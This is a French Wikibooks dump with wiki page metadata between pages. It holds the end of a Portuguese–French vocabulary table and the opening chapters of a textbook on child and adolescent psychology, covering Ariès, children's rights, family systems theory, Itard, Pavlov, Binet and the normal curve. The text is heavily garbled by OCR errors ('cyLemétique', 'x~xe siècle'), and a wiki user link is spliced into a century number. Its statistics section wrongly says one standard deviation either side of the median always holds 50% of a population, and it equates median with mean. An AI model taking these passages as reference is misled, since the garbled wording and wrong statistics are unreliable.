style="background:#000000; color:#808080; padding:5px;">cinzento, ''bras'': cinza; pardo</td> <tr> <td>sábado <small>(samedi)</small></td> <td>julho <small>(juillet)</small></td> <td></td> <td style="background:#FFFFFF; color:#000000; padding:5px;">preto, negro</td> <tr> <td></td> <td>agosto <small>(août)</small></td> <td></td> <td style="background:#000000; color:#FFA500; padding:5px;">cor-de-laranja</td> <tr> <td></td> <td>setembro <small>(septembre)</small></td> <td></td> <td style="background:#000000; color:#DF00DF; padding:5px;">cor-de-rosa</td> <tr> <td></td> <td>outubro <small>(octobre)</small></td> <td></td> <td style="background:#FFFFFF; color:#8B00FF; padding:5px;">lilás</td> <tr> <td></td> <td>novembro <small>(novembre)</small></td> <td></td> <td style="background:#FFFFFF; color:#964B00; padding:5px;">castanho</td> <tr> <td></td> <td>dezembro <small>(décembre)</small></td> <td></td> </tr> </table> ==Liens externes== [http://amor.cms.hu-berlin.de/~h0444e1w/vokeng.htm le vocabulaire dans un fichier à apprendre] Psychologie 869 12527 2004-11-09T16:24:52Z Yann 2 [[Psychologie de l'enfant et de l'adolescent]] Déplacé depuis en: (à réorganiser) : * [[Psychologie de l'enfant et de l'adolescent]] Psychologie de l'enfant et de l'adolescent 870 41225 2006-04-29T17:38:14Z Pseudomoi 395 pàS __NOTOC__ {{Suppression}} [[Psychologie de l'enfant et de l'adolescent|Sommaire]] [[Introduction (Psychologie de l'Enfant et de l'Adolescent)|Introduction]] == l'Enfance, Un Concept Au Carrefour Des Sciences == # [[l'Enfance et l'Histoire (Psychologie de l'Enfant et de l'Adolescent)|l'Enfance et l'Histoire]] # [[l'Enfance et la Sociologie (Psychologie de l'Enfant et de l'Adolescent)|l'Enfance et la Sociologie]] # [[l'Enfance et le Droit (Psychologie de l'Enfant et de l'Adolescent)|l'Enfance et le Droit]] # [[l'Enfance et les Théories de la Communication (Psychologie de l'Enfant et de l'Adolescent)|l'Enfance et les Théories de la Communication]] == l'Enfance dans l'Histoire et la Méthodologie de la Psychologie == # [[La Psychologie expérimentale (Psychologie de l'Enfant et de l'Adolescent)|La Psychologie expérimentale]] # [[La Psychologie clinique (Psychologie de l'Enfant et de l'Adolescent)|La Psychologie clinique]] == Approches Psychologiques de l'Enfant == # [[Observation de l'Enfant (Psychologie de l'Enfant et de l'Adolescent)|Observation de l'Enfant]] # [[Le Jeu chez l'Enfant (Psychologie de l'Enfant et de l'Adolescent)|Le Jeu chez l'Enfant]] # [[La Reconstruction par Les Psychanalystes (Psychologie de l'Enfant et de l'Adolescent)|La Reconstruction par Les Psychanalystes]] == Le Concept de « Stade de Développement" en Psychologie Génétique == # [[Problèmes Généraux (Psychologie de l'Enfant et de l'Adolescent)|Problèmes Généraux]] # [[Le Débat Continuité-Discontinuité; Équilibre-Déséquilibre (Psychologie de l'Enfant et de l'Adolescent)|Le Débat Continuité-Discontinuité; Équilibre-Déséquilibre]] # [[Le Problème de la différenciation et de l'intégration (Psychologie de l'Enfant et de l'Adolescent)|Le Problème de la différenciation et de l'intégration]] == Apports Théoriques de la Psychologie Génétique == # [[Les Connaissances apportées par Wallon (Psychologie de l'Enfant et de l'Adolescent)|Les Connaissances apportées par Wallon]] # [[Les Connaissances apportées par Piaget (Psychologie de l'Enfant et de l'Adolescent)|Les Connaissances apportées par Piaget]] # [[La Psychanalyse de l'Enfant (Psychologie de l'Enfant et de l'Adolescent)|La Psychanalyse de l'Enfant]] # [[Les Recherches modernes (Psychologie de l'Enfant et de l'Adolescent)|Les Recherches modernes]] # [[l'Adolescence, une étape cruciale dans le développement (Psychologie de l'Enfant et de l'Adolescent)|l'Adolescence, une étape cruciale dans le développement]] == Applications de la Psychologie Génétique == # [[l'Enfant Malade (Psychologie de l'Enfant et de l'Adolescent)|l'Enfant Malade]] # [[La Psychopathologie (Psychologie de l'Enfant et de l'Adolescent)|La Psychopathologie]] # [[La Psychopédagogie par rapport à l'enfant handicapé (Psychologie de l'Enfant et de l'Adolescent)|La Psychopédagogie par rapport à l'enfant handicapé]] # [[Les Thérapies Psychologiques (Psychologie de l'Enfant et de l'Adolescent)|Les Thérapies Psychologiques]] :[[Répertoire des questions (Psychologie de l'Enfant et de l'Adolescent)|Répertoire des questions]] :[[Conclusion (Psychologie de l'Enfant et de l'Adolescent)|Conclusion]] :[[Biographies de Quelques Auteurs (Psychologie de l'Enfant et de l'Adolescent)|Biographies de Quelques Auteurs]] :[[Lexique (Psychologie de l'Enfant et de l'Adolescent)|Lexique]] :[[Bibliographie (Psychologie de l'Enfant et de l'Adolescent)|Bibliographie]] :[[Table Des Matières (Psychologie de l'Enfant et de l'Adolescent)|Table Des Matières]] Microsoft Word document of the book: http://en.wikibooks.org/wiki/Image:La_psychologie_de_l%27enfant.doc {{Psychologie de l'enfant et de l'adolescent}} Introduction (Psychologie de l'Enfant et de l'Adolescent) 871 41221 2006-04-29T17:27:54Z Pseudomoi 395 {{Psychologie de l'enfant et de l'adolescent}} << [[Psychologie de l'enfant et de l'adolescent]] == Introduction == Cet ouvrage s'adresse à tous les étudiants qui se destinent à exercer dans le champ - vaste et fermé à la fois - médico-social, médico-éducatif, éducatif ou ~psychologique; c'est-à-dire dans tout domaine où « le fait psychologique » a droit de cité. C'est pourquoi d'ailleurs cet ouvrage peut aussi intéresser tout néophyte s'intéressant au «fait psychologique». De nombreux métiers, surtout récents, cherchent à se distinguer par un hermétisme de leur code linguistique, et c'est largement le cas dans le champ professionnel désigné ci-dessus. Le langage «psy» est l'apanage des professionnels « initiés» et les démarque des autres interlocuteurs pourtant de plus en plus nombreux dans ce domaine. Si l'on souhaite que « le fait psychologique » soit considéré comme un outil, et comme l'outil le plus efficace dont nous disposions dans notre domaine professionnel, il faut lui ôter son côté hermétique et expliquer clairement ce que nous savons avec certitude, ce que nous savons par intuition et ce que nous devons soumettre à des études plus approfondies pour intégrer tel ou tel fait dans le corpus des connaissances établies. Le but de cet ouvrage est double: d'une part exposer de la façon la plus claire possible l'état de nos connaissances dans le domaine de la ''' psychologie de l'enfant et de l'adolescent, ''' d'autre part permettre aux futurs éducateurs, éducateurs de jeunes enfants, aides médico-pédagogiques, etc., de faire le point sur leurs connaissances. Ce livre comprend trois parties: * ''' La première partie, ''' consacrée à l'introduction, présente la psychologie de l'enfant depuis ses origines (et la situe par rapport à quelques champs annexes ou voisins); * ''' La deuxième partie ''' expose tout ce qu'il faut savoir sur ce sujet, sous forme de questions qui annoncent le développement d'un point important ou qui permettent de récapituler un sous-chapitre. Les mots clés et les grands noms de la psychanalyse et de la psychologie sont inscrits en marge dans le but d'aider le lecteur dans ses recherches; * ''' La troisième partie ''' comprend: #une bibliographie d'ouvrages de référence; #un répertoire des questions, par chapitre; #les blographies de quelques auteurs; #un lexique; #des annales (avec des propositions de corrigés). Grâce à ce livre, le lecteur peut donc à tout moment trouver: * le point précis qu'il veut étudier; * la théorie d'un psychologue en particulier; * la réponse à la question qu'il se pose; * un entraînement pour son examen. Si ce livre pouvait parvenir à ces fins et, de plus, transmettre un tant soit peu le plaisir de comprendre, par exemple, ce qui se passe lorsqu'un enfant joue devant nos yeux ou cherche à saisir un raisonnement jusque-là inconnu, si le lecteur (en plus de tout ce qui est mentionné ci-dessus) pouvait sentir la complexité - sous l'apparente simplicité - de ces « aventures humaines », le but de l'ouvrage serait largement atteint. {{Psychologie de l'enfant et de l'adolescent}} L'Enfance et l'Histoire (Psychologie de l'Enfant et de l'Adolescent) 872 41223 2006-04-29T17:29:17Z Pseudomoi 395 /* Introduction */ {{Psychologie de l'enfant et de l'adolescent}} << [[Psychologie de l'enfant et de l'adolescent]] ---- [[w:fr:Françoise Dolto|Françoise Dolto]] est sans doute la spécialiste la plus connue sur ce sujet. Avec de nombreux ouvrages de vulgarisation à son actif. == Introduction == Parler de psychologie de l'enfant ou de psychologie génétique embrasse le même sujet d'étude. Il arrive que l'on parle indifféremment de psychologie de l'enfant (même si l'adolescence en fait partie) ou de psychologie génétique. Maù l'angle du point de vue n'est pas tout a fait le même: lorsque l'on parle de psychologie de l'enfant on souligne son objet d'étude qui est l'enfance; en parlant de psychologie génétique, nous privilégions la genèse des fonctions chez l'enfant (intelligence, affectivité, développement psychomoteur, etc.), ce n'est nullement une référence à la génétique biologique. Si la psychologie générale s'est progressivement détachée de la philosophie au cours du XVRle[?] siècle il ne s'agissait au début que de spéculations métaphysiques; il était encore moins question de l'enfant. La psychologie s'est émancipée comme science au cours du x~xe[?] siècle par la méthode dite expérimentale, méthode qui consiste à observer les réactions précises d'une fonction donnée (attention, mémoire, sens de l'observation pour ne citer que quelques exemples) d'un individu précis dans une situation dite standardisée, et à[accent grave] observer les variations de la fonction de l'individu en fonction d'une variation de la situation standardisée. Cette naissance de la psychologie scientifique se faisait avec les adultes (nous évoquerons plus loin la place particulière de la psychologie de l'enfant dans l'histoire~ 1 de la psychologie et notamment des thèses de Freud considérant que le I développement de l'enfant était dominé par la sexualité infantile). Malgré les résistances rencontrées par la psychanalyse et le scandale qu'elles provoquèrent dans une époque puritaine (début du xx~ siècle), elles firent de nombreux adeptes. En y regardant de plus près nous nous rendons compte que le concept de «l'enfance~ n'est pas propre à la psychologie. Une multitude de sciences s'intéresse à l'enfance et à son évolution. Citons d'abord la médecine qui a apporté de nombreuses connaissances sur la croissance somatique (corporelle) et neurologique de l'enfant, sur les variations physiologiques de tel ou tel organe du corps au cours de la croissance. La psychologie de l'enfant étudie la naissance et le fonctionnement de la vie psychique de l'enfant sous son double aspect affectif et intellectuel. Nous y reviendrons tout au long de ce livre. Mais d'autres disciplines ont commencé à s'intéresser à l'enfance dès le xïx' siècle; par exemple au milieu du x~x siècle le législateur a commencé d réglementer puis interdire le travail des enfants; I'enfant devenait un sujet de droit intéressant cette discipline. Puis des historiens ont établi que la notion de « I'enfance » n'existait pas dans l'Antiquité et s'était lentement constituée à travers les siècles depuis le Moyen Age. La sociologie, qui étudiait la transformation de la famille avec l'arrivée de l'industrialisation et la migration des campagnes vers les villes, s'intéressait aussi à la place de l'enfant dans cette famille changeante. Il y a l'ethnologie qui étudie, entre autres, les modes d'éducation et la place de l'enfant dans d'autres sociétés que celle du modèle occidental. Nous pouvons parfois relever une certaine cacophonie lorsque l'on parle de l'enfance et il convient de préciser de quel point de vue on la considère et avec quels outils de quelle discipline on l'étudie. Ci-après nous donnerons quelques exemples (non exhaustifs) de "l'enfance" comme sujet d'autres disciplines. 1- L'ENFANCE ET L'HISTOIRE Les historiens se sont intéressés au concept de l'enfance surtout depuis la publication d'un livre devenu célèbre, "L'Enfant et la Vie famitale sous l'Ancien Régime" de Philippe Ariès; on notera aussi les travaux de Michelle Perrot sur la famille et la vie privée et d'Elisabeth Badinter sur l'amour maternel. Ariès étudie la représentation de l'enfant dans l'art à travers les siècles et il a noté qu'avant les XVIIe et XVIIIe siècles, l'enfant était représenté comme un petit adulte, c'est-à-dire reconnaissable, uniquement par sa petite taille. Ce n'est qu'à partir du XVIIe siècle que l'art (la peinture et la sculpture) accorde une morphologie propre à l'enfant représenté. En partant de ce constat et en étudiant les modes de vie des populations (en France) à travers l'histoire, Ariès distingue deux périodes: Première période: La société traditionnelle se représentait mal l'enfant et encore moins l'adolescent. La durée de l'enfance était réduite à sa période la plus fragile quand l'enfant n'arrivait pas à se suffire. L'enfant à peine débrouillé physiquement était mêlé aux adultes, partageant leurs travaux et leurs jeux. De très petits enfants, il devenait un homme jeune, sans passer par les étapes de la jeunesse devenues des aspects essentiels des sociétés évoluées d'aujourd'hui. La socialisation et la transmission des valeurs et savoirs n'étaient donc pas assurées par la famille, I'enfant s'éloignait vite de ses parents. L'éducation se faisait par l'apprentissage, grâce à la coexistence des enfants et des adultes. L'enfant tirait ses connaissances en aidant les adultes. Les échanges affectifs et les communications sociales avaient lieu en dehors de la famille, dans un milieu très dense et chaleureux composé de voisins, d'amis, de maîtres et serviteurs, d'enfants et de vieillards, de femmes et d'hommes. Deuxième période: La 2e période commence à partir de la fin du XVIIe siècle, lorsque progressivement l'école s'est substituée à l'apprentissage comme moyen d'éducation. L'enfant a cessé d'être mélangé aux adultes et d'apprendre la vie directement à leur contact. Il a été séparé des adultes et maintenu à l'écart (la scolarisation) avant d'être lâché dans le monde. Cette séparation des enfants et des adultes était due en très grande partie à la tentative de moralisation des hommes voulue par l'Église. Les parents s'intéressèrent aux études de leurs enfants et la famille devint ainsi un lieu d'affection. Pour Ariès le sentiment de famille est né avec la scolarisation intense de la jeunesse. D'autres historiens ont affiné cette étude de l'enfance à travers les époques. Il semble donc maintenant assuré que la place accordée à l'enfant est variable suivant les sociétés et qu'elle s'est considérablement modifiée à partir du XIXe siècle, sous l'effet du culte de la maternité. C'est à cette époque que l'enfant devient l'objet d'un attachement spécifique qui ne fera que croître avec les progrès de la médecine, puis la généralisation de la contraception dans les sociétés industrielles. Il semble aller de soi que plus le taux de mortalité diminue, plus la perte d'un enfant est douloureuse. De même, plus l'enfant est désiré consciemment, plus sa place est censée devenir importante dans l'affect parental. C'est dans ce contexte et dans la crise de la famille bourgeoise que sont nées la psychologie de l'enfant et la psychanalyse. {{Psychologie de l'enfant et de l'adolescent}} L'Enfance et la Sociologie (Psychologie de l'Enfant et de l'Adolescent) 873 22031 2005-09-24T13:56:49Z Pfv2 445 corriger environ 5 fautes << [[Psychologie de l'enfant et de l'adolescent]] ---- 2- L'ENFANCE ET LA SOCIOLOGIE La sociologie en tant que science des phénomènes sociaux s'est intéressés à «I'enfance» comme objet d'étude sous de multiples aspects; nous ne citerons que quelques exemples: • Ie changement du regard sur l'enfance décrit par les historiens a été conceptualisé par les sociologues en termes de statut et de rôle, le statut étant attribué par l'extérieur (la société) lui laissant plus ou moins de liberté d'assumer le rôle qu'il est censé y jouer. L'industrialisation, la migration des campagnes vers la ville, le travail des enfants ayant fait éclater les structures familiales anciennes, la sociologie a étudié en détail les relations sociales à l'intérieur de cette nouvelle structure familiale réduite et la place qu'on assigne aux enfants. Bien d'autres changements de la société, des mœurs, de la famille ont été décris et analysés par les sociologues du point de vue de leur impact sur l'enfance: I'émancipation des femmes (le passage de l'autorité paternelle à l'autorité parentale), la multiplication des cas de divorce et l'attribution du droit de garde des enfants et de façon concomitante la multiplication des familles recomposées le prolongement de la scolarité; le chômage des jeunes et leur séjour prolongé au domicile des parents. Un autre phénomène a été analysé très finement par la sociologie: c'est la somme croissante d'argent de poche à la disposition des enfants qui a été envisagée en terme de pouvoir d'achat d'un groupe spécifique de la société qui est devenu la cible privilégiée d'une publicité spécifiquement conçue à son intention. La sociologie a également mis en évidence que dans les différentes couches sociales qui composent une société, les statuts et rôles des membres d'une famille ne sont pas définis de la même façon. Aujourd'hui on peut également - grâce, entre autres, à la sociologie - évaluer la santé ou la pathologie d'un groupe familial en tenant compte de son comportement face aux attentes qu'a la société envers lui. Ce dernier point fait partie de la théorisation d'une thérapie psychologique particulière qu'est la thérapie familiale que, faute de place, nous n'aborderons pas ici. Un dernier point - notamment par rapport à la sociologie - doit être souligné: deux sciences voisines (ici la psychologie et la sociologie) peuvent avoir le même sujet d'étude (I'enfance) mais arriver à des résultats apparemment contradictoires si l'on ignore que le point de vue sur un objet d'étude n'est jamais le même d'une science à l'autre et que les méthodologies divergent. Ainsi, la sociologie a étudié les évolutions de rôle et de statut du père et de la mère à l'intérieur de la famille à la suite de l'émancipation des femmes, et comment l'enfant était impliqué dans ces changements. Parallèlement, les psychologues ont mis en évidence que simultanément à cette évolution dans l'imaginaire des enfants la mère représente toujours l'amour,la protection et la permissivité alors que le père continue de représenter la loi et la répression. Ce point doit nous rappeler qu'il faut toujours beaucoup de prudence lorsque l'on veut généraliser un phénomène observé et plus encore lorsque l'on cherche à le transposer d'une science à l'autre. L'Enfance et le Droit (Psychologie de l'Enfant et de l'Adolescent) 874 40613 2006-04-21T09:28:52Z Pseudomoi 395 cat droit << [[Psychologie de l'enfant et de l'adolescent]] ---- 3- L'ENFANCE ET LE DROiT Le droit ne s'est intéressé à l'enfance que tardivement dans l'histoire (voir chapitre 1, lère partie); les premières applications du droit à l'enfance ont vu le jour au xixe siècle et concernaient le travail des enfants. La Convention internationale des droits de l'enfant adoptée par l'ONU en 1989 (symboliquement deux cents ans après la Déclaration universelle des droits de l'homme et du citoyen), a lancé un débat intéressant pour les juristes et autres spécialistes s'intéressant à l'enfance. En fait, ce débat révèle deux conceptions antagonistes de l'enfance qu'il est important de connaître: ~ La première conception est fondée sur l'idée de protection de l'enfance. L'enfant bénéficie d'une série de créances afin de devenir un adulte responsable: parmi ces créances, l'éducation et l'instruction figurent comme les principaux droits. Cet enfant est considéré non comme un adulte en miniature, mais comme une personne en devenir. Il bénéficie, dans l'exercice de ses droits, d'un statut protecteur fondé sur le principe d'irresponsabilité du mineur et réglé par le principe de la représentation (le ou les parents ou un tuteur désigné représentent l'enfant). Selon ce principe protecteur de l'enfance, le législateur est intervenu à de nombreuses reprises depuis le xixe siècle, par exemple: 1841, interdiction du travail des enfants; 1874, interdiction de la mendicité enfantine; 1874, droit de regard sur les nourrices; 1889, déchéance du père indigne; 1898, déchéance en cas de mauvais traitements, etc. Cette conception humaniste du droit protégeant l'enfant mineur a été battue en brèche par un courant anglo-saxon qui a finalement réussi à faire adopter les droits de l'enfant. ~ Ces juristes ont une autre vision de l'histoire de l'enfance; ils appellent à «libérer les enfants», de la même façon que l'on a accordé les droits à d'autres minorités (par exemple: les Noirs, les homosexuels, etc.). En instituant ainsi l'enfant comme sujet de droit on nie son incapacité et il n'a plus besoin d'être représenté. On en est arrivé alors à la notion d'enfant-citoyen ce qui crée des ambiguïtés importantes (voir l'exemple du Parlement des enfants qui fait jouer à ceux-ci une parodie du pouvoir amputé de la responsabilité propre au citoyen adulte). Les juristes français se gardent de faire coller l'évolution du droit et celle des âges de la vie. Le droit n'a pas pour fonction de refléter la société ou la biologie (même s'il est très sollicité dans cet objectif; il est un artifice culturel qui institue des nommes, souvent même au mépris de la réalité prosaïque (par exemple, devenir le père d'un enfant que l'on n'a pas conçu ou, en droit arabe, la fiction de «l'enfant qui dort», qui consiste à attribuer la patemité de l'enfant d'une veuve au mari de celle-ci même si le défunt est mort depuis longtemps). Accorder des droits à l'enfant apparaît dangereux dans ce sens, que l'enfance était jusqu'à présent impensable sans sa famille, sans la société des hommes, sans l'État. En postulant que l'enfant est une personnalité juridique, on crée des droits à exercice aléatoire, des droits virtuels, des droits sans aucune garantie. C'est aussi précisé dans la Convention des droits de l'enfant: ces droits ne sont pas universels, les États doivent simplement s'efforcer de les assurer «dans la mesure de leurs moyens ». Ainsi, nous constatons à travers l'adoption de la Convention internationale des droits de l'enfant - issue d'intentions nobles - en matière d'enfance rien n'est simple et que suivant la lecture que l'on fait de l'histoire de l'enfance, on peut aboutir à des résultats diamétralement opposés. [[Catégorie:Droit]] L'Enfance et les Théories de la Communication (Psychologie de l'Enfant et de l'Adolescent) 875 22034 2005-09-24T14:04:07Z Pfv2 445 corriger une quinzaine de fautes. << [[Psychologie de l'enfant et de l'adolescent]] ---- 4- L'ENFANCE ET LES THÉORIES DE LA COMMUNICATION Devant l'insuccès des traitements psychiatriques et des psychothérapies des patients schizophrènes, des psychiatres et des psychologues américains ont, dès les années 40, expérimenté d'autres méthodes thérapeutiques reposant sur une nouvelle théorisation de cette maladie mentale. Ces psychologues avaient déjà constaté que la communication était brouillée, non seulement entre les patients schizophrènes (la schizophrénie est une maladie mentale très grave de l'adulte, consistant en une dissociation de la personnalité) et leurs thérapeutes, mais également à l'intérieur de leurs familles d'origine. Les psychologues postulaient qu'en changeant de point de vue, c'est-à-dire en étudiant non seulement le patient schizophrène, mais tout son système familial, en changeant de cadre, on arriverait à des résultats autrement plus intéressants. Le psychiatre américain Haley a écrit en 1978 (traduit par nous) comment la lecture d'un même phénomène peut varier en élargissant le cadre d'étude: « 1. Individuel: un garçon de dix ans ne veut pas sortir de la maison parce qu'il a peur des chiens. D'un point de vue individuel, il a une phobie des chiens. 2. Dyade: si l'on constate que la mère du garçon est constamment avec lui à cause de ce problème et qu'elle ne s'intéresse dans la vie qu'au garçon et à ses phobies, on peut dire que l'unité du problème est la dyade mère enfant. La phobie des chiens permet de maintenir une relation surinvestie entre la mère et l'enfant. 3. Triade: si l'on observe le comportement entre la mère, le père et l'enfant on constate que la mère et le père s'évitent l'un l'autre, sauf en ce qui concerne le problème du fils. Quand la mère et le père sont dans une situation trop conflictuelle, ils se réconcilient en se consolant l'un l'autre en évoquant le problème du fils. D'un point de vue triadique, le garçon aide à maintenir le couple par son problème. » Cette longue citation permet d'entrevoir comment on passe d'un problème individuel à un problème de communication intrafamiliale. Certains théoriciens américains sont allés plus loin en recourant aux modèles de la cybernétique (science qui étudie les mécanismes de contrôle et de communication dans les machines; le domaine de la cyLemétique s'est étendu aux êtres vivants à la suite des travaux de ces théoriciens qui travaillent sur la schizophrénie). Le modèle le plus connu qu'ils empruntèrent à la cyLemétique fut celui de la «boîte noire». En cyLemétique une boîte noire est un phénomène (par exemple un mécanisme de régulation) dont on ne sait rien a pr~ri. Mais l'on étudie ce que l'on appelle l'input en cyLemétique, c'est-à-dire les informations arrivant à la boîte noire; puis l'on étudie'output, c'est à dire les informations émises par la boîte noire, et l'on établit une comparaison entre ''input'' et ''output''. Une fois cette différence constatée, on sait en quoi la boîte noire a modifié le flux de l'information. En partant de là le cyLeméticien peut faire des hypothèses sur le fonctionnement de la boîte noire. Voyons cela rapidement avec trois petits schémas: #Input -------- Boîte noire -------- Output #Input-------- Boîte noire -------- Output -> Comparaison #Input -------- Boîte noire -------- Output -> Hypothèses ->Comparaison Ce modèle a l'avantage de permettre au chercheur d'observer le plus objectivement possible la modification de l'input en outtut sans être influencé par des présupposés théoriques sur le fonctionnement de la boîte noire. Ayant appliqué le modèle au patient schizophrène, les chercheurs ont étudié les informations qu'il recevait habituellement dans son milieu, c'està dire sa famille d'origine, et les comportements et affirmations « fous » qu'il émettait. Ces études ont montré que le patient schizophrène est soumis dès son jeune âge à une communication diteparadoxale, c'est-à-dire à une affirmation simultanée de deux énoncés logiquement incompatibles. La Psychologie expérimentale (Psychologie de l'Enfant et de l'Adolescent) 876 39680 2006-04-05T16:26:52Z 80.170.172.114 /* INTRODUCTION */ [[Psychologie de l'enfant et de l'adolescent]] ---- == INTRODUCTION == La psychologie comme science humaine ne s'est détachée de la philosophie que progressivement, à partir de la fin du XVIlle siècle. Les véritables travaux psychologiques concernant la psychologie de l'enfant ne commencent qu'avec le début du XXe siècle. Néanmoins, le docteur Itard (1774-1838), médecin spécialiste en ORL, qui s'occupait entre autres d'une institution pour enfants sourds-muets, en a été le précurseur. Dans cette institution, le docteur Itard fut amené a s'occuper dés 1800 d'un jeune enfant dit sauvage trouvé dans les bois de l'Aveyron. Itard nomma Victor ce jeune enfant dépourru de langage et d'activité symbolique et chercha a l'éduquer par une pédagogie qu'il développa peu a peu. Ce cas suscita de nombreux commentaires et par la suite fut porté a l'écran par Francois Truffaut. Itard considérait que si l'enfant se trouvait être "sauvage'' et sans langage c'est qu'il n'avait pu bénéficier de la société des hommes. Il s'opposa fermement a un autre médecin, aliéniste de formation, Pinel, qui avait examiné l'enfant et conclu a un ..idiousme de naissance impossible a soigner ». Préfigurant les théses de certains psychologues du XXe siècle, Itard (souant ?) qu'il n'existe pas de véritable déficience intellectuelle congénitale; le déficit ne peut qu'être « acquis >, faute de stimulation du milieu et de socialisation. Mais les travaux d'ltard restérent sans suite et l'éducaion de Victor fut un échec relatif. L'épisode est retracé dans le livre - paru en 1964 - de Lucien Malson, Les Enfants sauvages. Mythe et réalité. Au niveau de la méthodologie (expérimentale ou clinique) et des contenus de recherche, la psychologie de l'enfant - plus encore que les autres domaines de la psychologie - a été massivement influencée par une vieille querelle philosophique datant du XV~T~e siècle. • Quelle est la querelle philosophique a massivement influencé toute l'histoire de la psychologie jusqu'à nos jours ~ (1) Pour le rationalisme classique, le développement de l'enfant se ramenait à la manifestation inéluctable d'«idées innées» qui auraient été le propre de l'homme. Pour l'empirisme, au contraire, I'enfant constituait à la naissance une «table rase» et tout lui était apporté par son environnement. La psychologie de l'enfant ou génétique (voir le sens de génétique dans l'introduction) était la discipline de choix pour apporter des réponses à cette question fondamentale entre « I'inné » et « I'acquis » qui traverse toujours la psychologie, quoique de façon plus scientifique et moins passionnelle aujourd'hui (voir plus loin). Avant d'avancer dans le domaine de la psychologie de l'enfant, il nous faut revenir sur l'histoire de la psychologie. Si cette dernière était restée cette branche de la philosophie consacrée à « I'âme », son histoire commencerait avec les premières traces de l'humanité. Après la scission progressive entre philosophie et psychologie au xv[[User:Karl Wick|Karl Wick]]e siècle, il n'y a guère qu'une centaine d'années que l'on a entrevu la possibilité d'une psychologie scientifique, consistant à étudier par l'observation et par l'expérience les réactions d'organismes complets aux diverses conditions du milieu qui les entoure. Faire varier systématiquement ces conditions afin de mettre en lumière les « lois» qui régissent les réactions de ces organismes - homme ou animal--, telle a été dès lors la tâche du psychologue. Dans les cas où, surtout en psychologie humaine, ces variations expérimentales étaient irréalisables, il s'est efforcé d'utiliser aussi bien que possible les observations qu'il pouvait recueillir. 1- LA PSYCHOLOGIE EXPÉRIMENTALE Cette psychologie nouvelle apparaît vers la seconde moitié du xixe siècle et cherche à se distinguer de la « psychologie philosophique ou spéculative » non seulement par son objet mais aussi par sa méthode (la méthode expérimentale) qui est essentiellement celle des autres sciences. 1.1. La méthode expérimentale ~ Qu'est ce que le propre de la méthode expérimentale 7 (2) Elle consiste à mettre des hypothèses à l'épreuve de faits établis objectivement, c'est-à dire d'une manière telle qu'ils puissent être vérifiés par n'importe quel observateur connaissant le maniement des techniques. Cette « objectivité » - dont nous savons aujourd'hui qu'elle est un leurre - était alors recherchée à tout prix par les psychologues pour conférer un statut de science à la psychologie naissante et échapper à l'appellation utilisée avec un certain mépris de «psychologie spéculative». A cette époque (la deuxième moitié du xlxe siècle), des progrès notables furent obtenus au niveau de la physiologie de la perception par les biologistes. C'est la raison pour laquelle les psychologues s'intéressérent de façon scientifique à la psychophysiologie, c'est à dire aux variations physiologiques de la perception en fonction de paramètres psychologiques: attention; motivation; apprentissage ou fatigue par la répétition, etc. Citons dans cette lignée de travaux le réflexe conditionné mis en évidence par Ivan Petrovitch Pavlov, un médecin et physiologiste russe: Pavlov associa le son d'une cloche et la présentation de nourriture à un chien, ce qui provoquait une salivation chez ce dernier. Après avoir répété l'expérience plusieurs fois, le chien se mettait à saliver simplement au son de la cloche. Par la suite, ses recherches sur la fonction cérétrale firent progresser considérablement la psychologie expérimentale. 1.2. Les méthodes statistiques (dont la courbe de Gauss) ~ Quel fut le rôle de la statistique pour la psychologie expérimentale ? (3) Une autre voie de la psychologie expérimentale fut ouverte par des travaux de statisticiens qui fournirent les outils pour situer un individu en fonction d'une certaine caractéristique par rapport à l'ensemble de la population. Cet outil statistique - toujours utilisé - est la fameuse courbe de Gauss ou « courbe de la distribution normale ». Au centre se trouve la médiane, la moyenne de la variable observée qui peut être le poids, la taille des individus d'une population donnée ou encore son niveau d'intelligence. Si l'on délimite un champ défini par une distance donnée (appelée «écart type») inférieure à la médiane et supérieure à la médiane, ce champ contient toujours 50 % des individus de la population étudiée, quelle que soit la variable étudiée. Au dessous de l'écart type inférieur à la médiane on trouve 25 % de la population; audessus de l'écart type supérieur à la médiane on trouve 25% de la population. La courbe de Gauss est symétrique à la médiane. Au niveau statistique on observe les mêmes phénomènes pour des valeurs très faibles comme pour des valeurs très importantes. Par rapport à l'axe horizontal la courbe est asymptotique des deux côtés, elle tend vers zéro sans jamais l'atteindre. Concrètement cela veut dire que plus on s'éloigne de la médiane moins l'on a de chances (ou moins il y a de probabilités) de rencontrer un individu correspondant au critère observé. Si l'on applique, par exemple, la courbe de Gauss à la taille des individus d'une population étudiée, on trouve 50% d'individus dont la taille varie peu autour de la médiane (ou moyenne). 25 % d'individus sont petits et 25 % d'individus sont grands. Plus on s'éloigne de la médiane (dans l'exemple présent cela veut dire soit un individu très grand, soit un individu très petit), moins il y a de probabilités de rencontrer un individu qui présente cette caractéristique « déviante » (au sens statistique du terme). 1.3. Les recherches sur l'intelligence Cet instrument statistique permit, entre autres, I'utilisation cohérente des tests d'intelligence qui furent mis au point dès 1905. Disons quelques mots de l'intelligence et de l'apparition des premiers tests pour la mesurer bien que le débat sur sa définition, son évolution suivant l'âge, son caractère inné ou acquis ne soit pas clos. Mais les tests d'intelligence et leurs résultats furent utilisés dans ce débat - qui traverse la psychologie - entre l'innéet l'acquis. • Comment peut on définir l'intelligence ? (4) Le terme d'intelligence connâ~t trois acceptions: • il sert à désignet une certaine catégorie d'actes distingués des activités automatiques ou instinctives; ~ il est utilisé pour définir la faculté de conna^'tre, de comprendre, de raisonner, d'inventer; • il signifie le rendement général du mécanisme mental. • Comment ont été créés les premiers tests d'intelligence ? (5) Voici un bref résumé de l'histoire des tests d'intelligence: en 1904, le ministère de l'Education nationale chargea le psychologue français Binet de développer un «procédé de prédiction des résultats à l'école primaire» afin de pouvoir orienter les enfants les moins intelligents vers des classes spécialisées. Binet chercha des tâches faisant appel à des capacités diverses de l'enfant allant du plus simple au plus complexe. Ainsi, il inventa des tâches pour mesurer la compréhension (d'une consigne verDale), la mémoire, la réflexion sur une tâche à résoudre en plusieurs étapes, le repérage temporo spatial, l'adresse manuelle, etc. L'ensemble était censé représenter l'intelligence. Interrogé sur une définition de l'intelligence Binet répondit: « L'intelligence c'est ce que mesurent mes tests.» L'idée de Binet fut de trouver des tâches s'adressant à des enfants d'âge différent: par exemple un enfant « moyen » de trois ans peut nommer et montrer le nez, les oreilles, les yeux et la bouche. Un enfant « moyen » de neuf ans peut citer de mémoire les mois de l'année et les situer les uns par rapport aux autres. Ainsi Binet mesurait les performances d'un enfant par rapport aux performances moyennes d'un groupe d'enfants du même âge. De cette façon, il pouvait mesurer un « âge d'intelligence 